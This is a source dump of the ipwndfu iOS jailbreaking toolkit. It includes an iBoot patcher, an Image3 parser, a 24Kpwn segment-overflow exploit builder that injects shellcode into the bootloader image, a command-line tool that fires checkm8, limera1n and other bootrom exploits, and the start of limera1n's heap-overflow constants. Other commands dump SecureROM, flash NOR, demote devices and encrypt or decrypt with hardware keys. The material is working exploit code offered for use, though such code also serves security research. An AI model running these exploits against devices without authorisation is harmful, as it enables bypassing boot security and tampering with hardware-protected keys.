MSR_SP_EL1_XZR        = '\x1F\x41\x1C\xD5'
MSR_SP_EL2_XZR        = '\x1F\x41\x1E\xD5'

ARM64_NOP             = '\x1F\x20\x03\xD5'
ORR_X0_X0_0x800000    = '\x00\x00\x69\xB2'
ORR_X0_X0_0x10000000  = '\x00\x00\x60\xB2'
ISB                   = '\xDF\x3F\x03\xD5'
RET                   = '\xC0\x03\x5F\xD6'

def apply_tcr_el3_patch(binary):
  for i in range(0, len(binary), 4):
    if binary[i:i+4] == MSR_TCR_EL3_X0:
      binary = binary[:i] + arm64_branch_instruction(i, 0x1EC) + binary[i+4:]
      binary = binary[:0x1EC] + ORR_X0_X0_0x10000000 + ORR_X0_X0_0x800000 + MSR_TCR_EL1_X0 + ISB + RET + binary[0x200:]

      print 'TCR_EL3 patch: 0x%x' % i
      return binary

  print 'ERROR: Could not find MSR TCR_EL3, X0 instruction.'
  sys.exit(1)

def apply_generic_el3_patches(binary):
  el3_patches = [
    (MSR_VBAR_EL3_X10, MSR_VBAR_EL1_X10),
    (MRS_X0_SCTLR_EL3, MRS_X0_SCTLR_EL1),
    (MSR_SCTLR_EL3_X0, MSR_SCTLR_EL1_X0),
    (MSR_SCR_EL3_X0,   ARM64_NOP),         # there is no EL1 equivalent
    (MSR_MAIR_EL3_X0,  MSR_MAIR_EL1_X0),
    (MSR_TTBR0_EL3_X0, MSR_TTBR0_EL1_X0),
    (MRS_X30_ELR_EL3,  MRS_X30_ELR_EL1),
    (MRS_X1_ESR_EL3,   MRS_X1_ESR_EL1),
    (MRS_X1_FAR_EL3,   MRS_X1_FAR_EL1),
    (MRS_X2_ESR_EL3,   MRS_X2_ESR_EL1),
    (MRS_X2_SPSR_EL3,  MRS_X2_SPSR_EL1),
    (MSR_ELR_EL3_X0,   MSR_ELR_EL1_X0),
    (MSR_SPSR_EL3_X1,  MSR_SPSR_EL1_X1),
    (MRS_X2_SCTLR_EL3, MRS_X2_SCTLR_EL1),
    (TLBI_ALLE3,       TLBI_VMALLE1),      # TODO: why not TLBI VMALLE1?
    (MSR_SCTLR_EL3_X1, MSR_SCTLR_EL1_X1),
    (MSR_ELR_EL2_XZR,  ARM64_NOP),
    (MSR_ELR_EL3_XZR,  ARM64_NOP),
    (MSR_SPSR_EL2_XZR, ARM64_NOP),
    (MSR_SPSR_EL3_XZR, ARM64_NOP),
    (MSR_SP_EL1_XZR,   ARM64_NOP),
    (MSR_SP_EL2_XZR,   ARM64_NOP),
  ]

  for i in range(0, len(binary), 4):
    for (before, after) in el3_patches:
      if binary[i:i+4] == before:
        binary = binary[:i] + after + binary[i+4:]
        print 'Generic EL3 patch: 0x%x' % i
        break

  return binary

if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('-i', help='input filename', required=True)
  parser.add_argument('--el1', action='store_true', help="make iBoot64 compatible with EL1 (iOS 7.0 - 9.3.5)")
  args = parser.parse_args()

  if args.el1:
    with open(args.i, 'rb') as f:
      binary = f.read()
      binary = apply_generic_el3_patches(binary)
      binary = apply_tcr_el3_patch(binary)
      filename = args.i + '.patched'
      with open(filename, 'wb') as out:
        out.write(binary)
      print 'Saved:', filename
  else:
    print 'No patches requested.'


================================================
FILE: image3.py
================================================
import binascii, struct
import dfuexec, utilities

class Image3:
    def __init__(self, data):
        (self.magic, self.totalSize, self.dataSize, self.signedSize, self.type) = struct.unpack('4s3I4s', data[0:20])
        self.tags = []
        pos = 20
        while pos < 20 + self.dataSize:
            (tagMagic, tagTotalSize, tagDataSize) = struct.unpack('4s2I', data[pos:pos+12])
            self.tags.append((tagMagic, tagTotalSize, tagDataSize, data[pos+12:pos+tagTotalSize]))
            pos += tagTotalSize
            if tagTotalSize == 0:
                break

    @staticmethod
    def createImage3FromTags(type, tags):
        dataSize = 0
        signedSize = 0
        for (tagMagic, tagTotalSize, tagDataSize, tagData) in tags:
            dataSize += 12 + len(tagData)
            if tagMagic[::-1] not in ['CERT', 'SHSH']:
                signedSize += 12 + len(tagData)

        # totalSize must be rounded up to 64-byte boundary
        totalSize = 20 + dataSize
        remainder = totalSize % 64
        if remainder != 0:
            totalSize += 64 - remainder

        bytes = struct.pack('4s3I4s', 'Img3'[::-1], totalSize, dataSize, signedSize, type)
        for (tagMagic, tagTotalSize, tagDataSize, tagData) in tags:
            bytes += struct.pack('4s2I', tagMagic, tagTotalSize, tagDataSize) + tagData
        return bytes + '\x00' * (totalSize - len(bytes))

    def getTags(self, magic):
        matches = []
        for tag in self.tags:
            if tag[0] == magic:
                matches.append(tag)
        return matches

    def getKeybag(self):
        keybags = self.getTags('KBAG'[::-1])
        for (tagMagic, tagTotalSize, tagDataSize, tagData) in keybags:
            (kbag_type, aes_type) = struct.unpack('<2I', tagData[:8])
            if kbag_type == 1:
                return tagData[8:8+48]
        return None

    def getPayload(self):
        data = self.getTags('DATA'[::-1])
        if len(data) == 1:
            return data[0][3]

    def getDecryptedPayload(self):
        keybag = self.getKeybag()
        device = dfuexec.PwnedDFUDevice()
        decrypted_keybag = device.decrypt_keybag(keybag)
        return utilities.aes_decrypt(self.getPayload(), binascii.hexlify(decrypted_keybag[:16]), binascii.hexlify(decrypted_keybag[16:]))

    def shrink24KpwnCertificate(self):
        for i in range(len(self.tags)):
            tag = self.tags[i]
            if tag[0] == 'CERT'[::-1] and len(tag[3]) >= 3072:
                data = tag[3][:3072]
                assert data[-1] == '\x00'
                data = data.rstrip('\x00')
                self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data)
                break

    def newImage3(self, decrypted=True):
        typeTag = self.getTags('TYPE'[::-1])
        assert len(typeTag) == 1
        versTag = self.getTags('VERS'[::-1])
        assert len(versTag) <= 1
        dataTag = self.getTags('DATA'[::-1])
        assert len(dataTag) == 1
        sepoTag = self.getTags('SEPO'[::-1])
        assert len(sepoTag) <= 2
        bordTag = self.getTags('BORD'[::-1])
        assert len(bordTag) <= 2
        kbagTag = self.getTags('KBAG'[::-1])
        assert len(kbagTag) <= 2
        shshTag = self.getTags('SHSH'[::-1])
        assert len(shshTag) <= 1
        certTag = self.getTags('CERT'[::-1])
        assert len(certTag) <= 1

        (tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0]
        if len(kbagTag) > 0 and decrypted:
          newTagData = self.getDecryptedPayload()
          kbagTag = []
        else:
          newTagData =  tagData
        assert len(tagData) == len(newTagData)

        return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag)


================================================
FILE: image3_24Kpwn.py
================================================
# Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al.

import struct
import image3

def exploit(img3, securerom):
    with open('bin/24Kpwn-shellcode.bin', 'rb') as f:
        shellcode = f.read()
    MAX_SHELLCODE_LENGTH = 1024
    assert len(shellcode) <= MAX_SHELLCODE_LENGTH

    # Check IMG3 constraints.
    (img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20])
    assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1]
    assert  total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12
    assert   data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
    assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
    assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]

    PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12)
    SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING)
    STACK_ADDRESS = 0x84033EA4
    img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \
         + struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \
         + struct.pack('<I4s2I64x4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12 + 64, 64, 'CERT'[::-1], 12, 0) \
         + struct.pack('<4s2I460sI48x', '24KP'[::-1], 12 + 512, 512, securerom[0xB000:0xB000 + 460], STACK_ADDRESS)
    assert len(img3) == 0x24200
    return img3

def remove_exploit(img3):
    assert len(img3) > 0x24000
    assert img3[16:20] == 'illb'[::-1]

    obj = image3.Image3(img3)
    if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea':
        # This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address.
        shellcode_address, = struct.unpack('<I', img3[64:68])
        assert img3[52:56] == 'DATA'[::-1]
        assert 0x84000000 <= shellcode_address and shellcode_address <= 0x84024000

        # Try to find the correct value for the first dword.
        found = False
        for pos in xrange(shellcode_address - 0x84000000, len(img3)):
            obj = image3.Image3(img3[:64] + img3[pos:pos + 4] + img3[68:])
            if obj.getDecryptedPayload()[:4] == '\x0e\x00\x00\xea':
                found = True
                break
        assert found

    obj.shrink24KpwnCertificate()

    img3 = obj.newImage3(decrypted=False)
    assert len(img3) <= 0x24000
    return img3


================================================
FILE: ipwndfu
================================================
#!/usr/bin/python
# ipwndfu: open-source jailbreaking tool for older iOS devices
# Author: axi0mX

import binascii, datetime, getopt, hashlib, struct, sys, time
import dfu, nor, utilities
import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec
from dfuexec import *

def print_help():
    print 'USAGE: ipwndfu [options]'
    print 'Interact with an iOS device in DFU Mode.\n'
    print 'Basic options:'
    print '  -p\t\t\t\tUSB exploit for pwned DFU Mode'
    print '  -x\t\t\t\tinstall alloc8 exploit to NOR'
    print '  -f file\t\t\tsend file to device in DFU Mode'
    print 'Advanced options:'
    print '  --demote\t\t\tdemote device to enable JTAG'
    print '  --dump=address,length\t\tdump memory to stdout'
    print '  --hexdump=address,length\thexdump memory to stdout'
    print '  --dump-rom\t\t\tdump SecureROM'
    print '  --dump-nor=file\t\tdump NOR to file'
    print '  --flash-nor=file\t\tflash NOR (header and firmware only) from file'
    print '  --24kpwn\t\t\tinstall 24Kpwn exploit to NOR'
    print '  --remove-24kpwn\t\tremove 24Kpwn exploit from NOR'
    print '  --remove-alloc8\t\tremove alloc8 exploit from NOR'
    print '  --decrypt-gid=hexdata\t\tAES decrypt with GID key'
    print '  --encrypt-gid=hexdata\t\tAES encrypt with GID key'
    print '  --decrypt-uid=hexdata\t\tAES decrypt with UID key'
    print '  --encrypt-uid=hexdata\t\tAES encrypt with UID key'

if __name__ == '__main__':
    try:
        advanced = ['demote', 'dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'encrypt-uid=']
        opts, args = getopt.getopt(sys.argv[1:], 'pxf:', advanced)
    except getopt.GetoptError:
        print 'ERROR: Invalid arguments provided.'
        print_help()
        sys.exit(2)

    if len(opts) == 0:
        print_help()
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-p':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'CPID:8720' in serial_number:
                steaks4uce.exploit()
            elif 'CPID:8920' in serial_number:
                limera1n.exploit()
            elif 'CPID:8922' in serial_number:
                limera1n.exploit()
            elif 'CPID:8930' in serial_number:
                SHAtter.exploit()
            elif 'CPID:8947' in serial_number:
                checkm8.exploit()
            elif 'CPID:8950' in serial_number:
                checkm8.exploit()
            elif 'CPID:8955' in serial_number:
                checkm8.exploit()
            elif 'CPID:8960' in serial_number:
                checkm8.exploit()
            elif 'CPID:8002' in serial_number:
                checkm8.exploit()
            elif 'CPID:8004' in serial_number:
                checkm8.exploit()
            elif 'CPID:8010' in serial_number:
                checkm8.exploit()
            elif 'CPID:8011' in serial_number:
                checkm8.exploit()
            elif 'CPID:8015' in serial_number:
                checkm8.exploit()
            else:
                print 'Found:', serial_number
                print 'ERROR: This device is not supported.'
                sys.exit(1)

        if opt == '-x':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
                sys.exit(1)

            if device.config.version == '359.3':
                print 'WARNING: iPhone 3GS (old bootrom) was detected. Use 24Kpwn exploit for faster boots, alloc8 exploit is for testing purposes only.'
                raw_input("Press ENTER to continue.")

            print 'Installing alloc8 exploit to NOR.'

            dump = device.nor_dump(saveBackup=True)

            nor = nor.NorData(dump)

            for byte in nor.parts[1]:
                if byte != '\x00':
                    print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
                    sys.exit(1)
            if len(nor.images) == 0 or len(nor.images[0]) < 0x24000:
                print 'ERROR: 24Kpwn LLB was not found. You must restore a custom 24Kpwn IPSW before using this exploit.'
                sys.exit(1)

            print 'Preparing modified NOR with alloc8 exploit.'
            # Remove 24Kpwn first.
            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            new_nor = alloc8.exploit(nor, device.config.version)
            device.flash_nor(new_nor.dump())

        if opt == '-f':
            try:
                with open(arg, 'rb') as f:
                    data = f.read()
            except IOError:
                print 'ERROR: Could not read file:', arg
                sys.exit(1)

            device = dfu.acquire_device()
            dfu.reset_counters(device)
            dfu.send_data(device, data)
            dfu.request_image_validation(device)
            dfu.release_device(device)

        if opt == '--demote':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                old_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)
                print 'Demotion register: 0x%x' % old_value
                if old_value & 1:
                    print 'Attempting to demote device.'
                    pwned.write_memory_uint32(pwned.platform.demotion_reg, old_value & 0xFFFFFFFE)
                    new_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)
                    print 'Demotion register: 0x%x' % new_value
                    if old_value != new_value:
                        print 'Success!'
                    else:
                        print 'Failed.'
                else:
                    print 'WARNING: Device is already demoted.'
            else:
                print 'ERROR: Demotion is only supported on devices pwned with checkm8 exploit.'
                sys.exit(1)

        if opt == '--dump':
            if arg.count(',') != 1:
                print 'ERROR: You must provide exactly 2 comma separated values: address,length'
                sys.exit(1)
            raw_address, raw_length = arg.split(',')
            address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)
            length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)

            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                device = usbexec.PwnedUSBDevice()
                sys.stdout.write(device.read_memory(address, length))
            else:
                device = PwnedDFUDevice()
                print device.read_memory(address, length)

        if opt == '--hexdump':
            if arg.count(',') != 1:
                print 'ERROR: You must provide exactly 2 comma separated values: address,length'
                sys.exit(1)
            raw_address, raw_length = arg.split(',')
            address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)
            length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)

            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                device = usbexec.PwnedUSBDevice()
                dump = device.read_memory(address, length)
                for line in utilities.hex_dump(dump, address).splitlines():
                    print '%x: %s' % (address, line[10:])
                    address += 16
            else:
                device = PwnedDFUDevice()
                dump = device.read_memory(address, length)
                print utilities.hex_dump(dump, address),

        if opt == '--dump-rom':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                securerom = pwned.read_memory(pwned.platform.rom_base, pwned.platform.rom_size)
                if hashlib.sha1(securerom).hexdigest() != pwned.platform.rom_sha1:
                    print hashlib.sha1(securerom).hexdigest()
                    print 'ERROR: SecureROM was dumped, but the SHA1 hash does not match. Exiting.'
                    sys.exit(1)
                chip    = securerom[0x200:0x240].split(' ')[2][:-1]
                kind    = securerom[0x240:0x280].split('\0')[0]
                version = securerom[0x280:0x2C0].split('\0')[0][6:]
                filename = 'SecureROM-%s-%s-%s.dump' % (chip, version, kind)
                with open(filename, 'wb') as f:
                    f.write(securerom)
                print 'Saved:', filename
            else:
                device = PwnedDFUDevice()
                securerom = device.securerom_dump()
                filename = 'SecureROM-%s-RELEASE.dump' % device.config.version
                f = open(filename, 'wb')
                f.write(securerom)
                f.close()
                print 'SecureROM dumped to file:', filename

        if opt == '--dump-nor':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. Dumping NOR is only supported on iPhone 3GS.'
                sys.exit(1)
            nor = device.nor_dump(saveBackup=False)
            f = open(arg, 'wb')
            f.write(nor)
            f.close()
            print 'NOR dumped to file: %s' % arg

        if opt == '--flash-nor':
            print 'Flashing NOR from file:', arg
            f = open(arg, 'rb')
            new_nor = f.read()
            f.close()
            if new_nor[:4] != 'IMG2'[::-1]:
                print 'ERROR: Bad IMG2 header magic. This is not a valid NOR. Exiting.'
                sys.exit(1)

            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. Flashing NOR is only supported on iPhone 3GS.'
                sys.exit(1)
            device.nor_dump(saveBackup=True)
            device.flash_nor(new_nor)

        if opt == '--24kpwn':
            print '*** based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. ***'

            device = PwnedDFUDevice()
            if device.config.version != '359.3':
                print 'Only iPhone 3GS (old bootrom) is supported.'
                sys.exit(1)

            dump = device.nor_dump(saveBackup=True)

            print 'Preparing modified NOR with 24Kpwn exploit.'
            nor = nor.NorData(dump)
            for byte in nor.parts[1]:
                if byte != '\x00':
                    print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
                    sys.exit(1)
            if len(nor.images) == 0:
                print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'
                sys.exit(1)

            # Remove existing 24Kpwn exploit.
            if len(nor.images[0]) > 0x24000:
                nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
            device.flash_nor(nor.dump())

        if opt == '--remove-24kpwn':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'
                sys.exit(1)

            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
            raw_input("Press ENTER to continue.")

            dump = device.nor_dump(saveBackup=True)

            nor = nor.NorData(dump)

            if len(nor.images) == 0:
                print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'
                sys.exit(1)
            if len(nor.images[0]) <= 0x24000:
                print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'
                sys.exit(1)

            print 'Preparing modified NOR without 24Kpwn exploit.'
            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
            device.flash_nor(nor.dump())

        if opt == '--remove-alloc8':
            device = PwnedDFUDevice()
            if device.config.cpid != '8920':
                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
                sys.exit(1)

            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
            raw_input("Press ENTER to continue.")

            dump = device.nor_dump(saveBackup=True)

            nor = nor.NorData(dump)

            if len(nor.images) < 700:
                print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'
                sys.exit(1)

            print 'Preparing modified NOR without alloc8 exploit.'
            new_nor = alloc8.remove_exploit(nor)
            device.flash_nor(new_nor.dump())

        if opt == '--decrypt-gid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Decrypting with %s GID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_GID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Decrypting with S5L%s GID key.' % device.config.cpid
                print device.aes_hex(arg, AES_DECRYPT, AES_GID_KEY)

        if opt == '--encrypt-gid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Encrypting with %s GID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_GID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Encrypting with S5L%s GID key.' % device.config.cpid
                print device.aes_hex(arg, AES_ENCRYPT, AES_GID_KEY)

        if opt == '--decrypt-uid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Decrypting with %s device-specific UID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_UID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Decrypting with device-specific UID key.'
                print device.aes_hex(arg, AES_DECRYPT, AES_UID_KEY)

        if opt == '--encrypt-uid':
            device = dfu.acquire_device()
            serial_number = device.serial_number
            dfu.release_device(device)

            if 'PWND:[checkm8]' in serial_number:
                pwned = usbexec.PwnedUSBDevice()
                print 'Encrypting with %s device-specific UID key.' % pwned.platform.name()
                print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_UID_KEY).encode('hex')
            else:
                device = PwnedDFUDevice()
                print 'Encrypting with device-specific UID key.'
                print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY)


================================================
FILE: ipwnrecovery
================================================
#!/usr/bin/python
# ipwnrecovery: open-source jailbreaking tool for older iOS devices
# Author: axi0mX

import getopt, sys
import usb # pyusb: use 'pip install pyusb' to install this module
import recovery

def print_help():
    print 'USAGE: ipwnrecovery [options]'
    print 'Interact with an iOS device in Recovery Mode.\n'
    print 'Basic options:'
    print '  -c cmd\t\t\trun command on device'
    print '  -f file\t\t\tsend file to device in Recovery Mode'
    print 'Advanced options:'
    print '  --enable-uart\t\t\tset debug-uarts to 3 and reboot device'
    print '  --exit-recovery-loop\t\tenable auto-boot and reboot device'

if __name__ == '__main__':
    try:
        advanced = ['exit-recovery-loop', 'enable-uart']
        opts, args = getopt.getopt(sys.argv[1:], 'c:f:', advanced)
    except getopt.GetoptError:
        print 'ERROR: Invalid arguments provided.'
        print_help()
        sys.exit(2)

    if len(opts) == 0:
        print_help()
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-c':
            device = recovery.acquire_device()
            try:
                recovery.send_command(device, arg)
            except usb.core.USBError:
                print 'WARNING: Caught USBError after running command.'
            recovery.release_device(device)

        if opt == '-f':
            try:
                with open(arg, 'rb') as f:
                    data = f.read()
            except IOError:
                print 'ERROR: Could not read file:', arg
                sys.exit(1)

            device = recovery.acquire_device()
            recovery.send_data(device, data)
            recovery.release_device(device)

        if opt == '--exit-recovery-loop':
            device = recovery.acquire_device()

            # TODO: getenv auto-boot first and fail if it is already true.
            recovery.send_command(device, 'setenv auto-boot true')
            recovery.send_command(device, 'saveenv')
            try:
                recovery.send_command(device, 'reboot')
            except usb.core.USBError:
                # OK: this is expected when rebooting
                pass

            recovery.release_device(device)

        if opt == '--enable-uart':
            device = recovery.acquire_device()

            # TODO: getenv debug-uarts first and fail if it is already 3.
            recovery.send_command(device, 'setenv debug-uarts 3')
            recovery.send_command(device, 'saveenv')
            try:
                recovery.send_command(device, 'reboot')
            except usb.core.USBError:
                # OK: this is expected when rebooting
                pass

            recovery.release_device(device)


================================================
FILE: libusbfinder/__init__.py
================================================
import hashlib, os, platform, cStringIO, tarfile

class VersionConfig:
    def __init__(self, version, bottle, bottle_sha256, dylib_patches, dylib_sha256):
        self.version = version
        self.bottle = bottle
        self.bottle_sha256 = bottle_sha256
        self.dylib_patches = dylib_patches
        self.dylib_sha256 = dylib_sha256

configs = [
    VersionConfig(
        version='10.14',
        bottle='libusb-1.0.22.mojave.bottle',
        bottle_sha256='6accd1dfe6e66c30aac825ad674e9c7a48b752bcf84561e9e2d397ce188504ff',
        dylib_patches=[(0x8fd1, 'E985000000'.decode('hex'))],
        dylib_sha256='34d4c0ca821a31f83f3860575f9683cdb8fc5cbd4167383eedfb8b2ba7f7d9d5'),
    VersionConfig(
        version='10.13',
        bottle='libusb-1.0.22.high_sierra.bottle',
        bottle_sha256='7b1fd86a5129620d1bbf048c68c7742ecad450de138b8186bf8e985a752b2302',
        dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],
        dylib_sha256='7bd48a3a9955fc20752433f944f61d58d5ec9b68d25dcfab1671f3c82339c4f8'),
    VersionConfig(
        version='10.12',
        bottle='libusb-1.0.22.sierra.bottle',
        bottle_sha256='7f2b65d09525c432a86e46699a1448bab36503f45f16d6e0d8f42be6b1ef55cf',
        dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],
        dylib_sha256='0d386845a96fa0457cb6c200f956c9b0d5f236729ef1e2cff34cd312f8cfc7ba'),
    VersionConfig(
        version='10.11',
        bottle='libusb-1.0.22.el_capitan.bottle',
        bottle_sha256='33575c9f56bc0d57bf985a21e40be019d5c269b432939416be8f24c5921bbb28',
        dylib_patches=[(0x9917, 'E956010000'.decode('hex'))],
        dylib_sha256='7ae848e0e8730bf8de48bb534a8ee42eb301a2f6ba6cc188228ce8bf79a6ba07'),
    VersionConfig(
        version='10.10',
        bottle='libusb-1.0.21.yosemite.bottle',
        bottle_sha256='8831059f7585ed973d983dd82995e1732c240a78f4f7a82e5d5c7dfe27d49941',
        dylib_patches=[],
        dylib_sha256='8e89265251d119f3422a760cf3472ecc46b7c3d22598600905dd5595a1ec146a'),
    VersionConfig(
        version='10.9',
        bottle='libusb-1.0.20.mavericks.bottle.1',
        bottle_sha256='5a475e2ca93886e51b994d1ea323e915c91d8463e5b23b45203acb69edf69981',
        dylib_patches=[],
        dylib_sha256='8f21fc0af0c7b04e7db988e1fc66ea9dbc31289096c68416140152d70138c316'),
    VersionConfig(
        version='10.8',
        bottle='libusb-1.0.19.mountain_lion.bottle.1',
        bottle_sha256='d5c4bd99b359a8319d49e06b6b13fc529f91a5bd61ce5a8ff14c291b44b676da',
        dylib_patches=[],
        dylib_sha256='0490800ca9ff82d37c310a09f9bd29aaa87143cf86b35d94b170617ec9d127bb'),
]

dir = os.path.dirname(__file__)
BOTTLE_PATH_FORMAT = os.path.join(dir, 'bottles', '%s.tar.gz')
DYLIB_PATH_FORMAT = os.path.join(dir, '%s.dylib')
DYLIB_NAME = 'libusb-1.0.0.dylib'

def apply_patches(binary, patches):
    for (offset, data) in patches:
        binary = binary[:offset] + data + binary[offset + len(data):]
    return binary

def libusb1_path_internal():
    version = platform.mac_ver()[0]
    # HACK to support macOS 10.15
    if version == '10.15':
        version = '10.14'
    if version == '':
        # We're not running on a Mac.
        return None

    for config in configs:
        if version.startswith(config.version):
            path = DYLIB_PATH_FORMAT % config.bottle
            try:
                f = open(path, 'rb')
                dylib = f.read()
                f.close()
                if hashlib.sha256(dylib).hexdigest() == config.dylib_sha256:
                    return path
                print 'WARNING: SHA256 hash of existing dylib does not match.'
            except IOError:
                pass

            f = open(BOTTLE_PATH_FORMAT % config.bottle, 'rb')
            bottle = f.read()
            f.close()
            if hashlib.sha256(bottle).hexdigest() != config.bottle_sha256:
                print 'ERROR: SHA256 hash of bottle does not match.'
                sys.exit(1)

            tar = tarfile.open(fileobj=cStringIO.StringIO(bottle))
            for member in tar.getmembers():
                if member.name.endswith(DYLIB_NAME):
                    patched_dylib = apply_patches(tar.extractfile(member.name).read(), config.dylib_patches)
                    if hashlib.sha256(patched_dylib).hexdigest() != config.dylib_sha256:
                        print 'ERROR: SHA256 hash of new dylib does not match.'
                        sys.exit(1)
                    f = open(path, 'wb')
                    f.write(patched_dylib)
                    f.close()
                    return path

    # No match found.
    return None

cached_path = libusb1_path_internal()

def libusb1_path():
    return cached_path


================================================
FILE: limera1n.py
================================================
# Credit: This file is based on limera1n exploit (heap overflow) by geohot.

import array, ctypes, struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu

# Must be global so garbage collector never frees it 
request = None
transfer_ptr = None

constants_359_3 = [
    0x84031800, #  1 - RELOCATE_SHELLCODE_ADDRESS
          1024, #  2 - RELOCATE_SHELLCODE_SIZE
        0x83d4, #  3 - memmove
    0x84034000, #  4 - MAIN_STACK_ADDRESS
        0x43c9, #  5 - nor_power_on
        0x5ded, #  6 - nor_init
    0x84024820, #  7 - gUSBSerialNumber
        0x8e7d, #  8 - strlcat
        0x349d, #  9 - usb_wait_for_image
    0x84000000, # 10 - LOAD_ADDRESS
       0x24000, # 11 - MAX_SIZE
    0x84024228, # 12 - gLeakingDFUBuffer
        0x1ccd, # 13 - free
    0x65786563, # 14 - EXEC_MAGIC
        0x1f79, # 15 - memz_create
        0x3969, # 16 - jump_to
        0x1fa1, # 17 - memz_destroy
          0x60, # 18 - IMAGE3_LOAD_SP_OFFSET
          0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
        0x1fe5, # 20 - image3_create_struct
        0x2655, # 21 - image3_load_continue
        0x277b, # 22 - image3_load_fail
]

constants_359_3_2 = [
    0x84031800, #  1 - RELOCATE_SHELLCODE_ADDRESS
          1024, #  2 - RELOCATE_SHELLCODE_SIZE
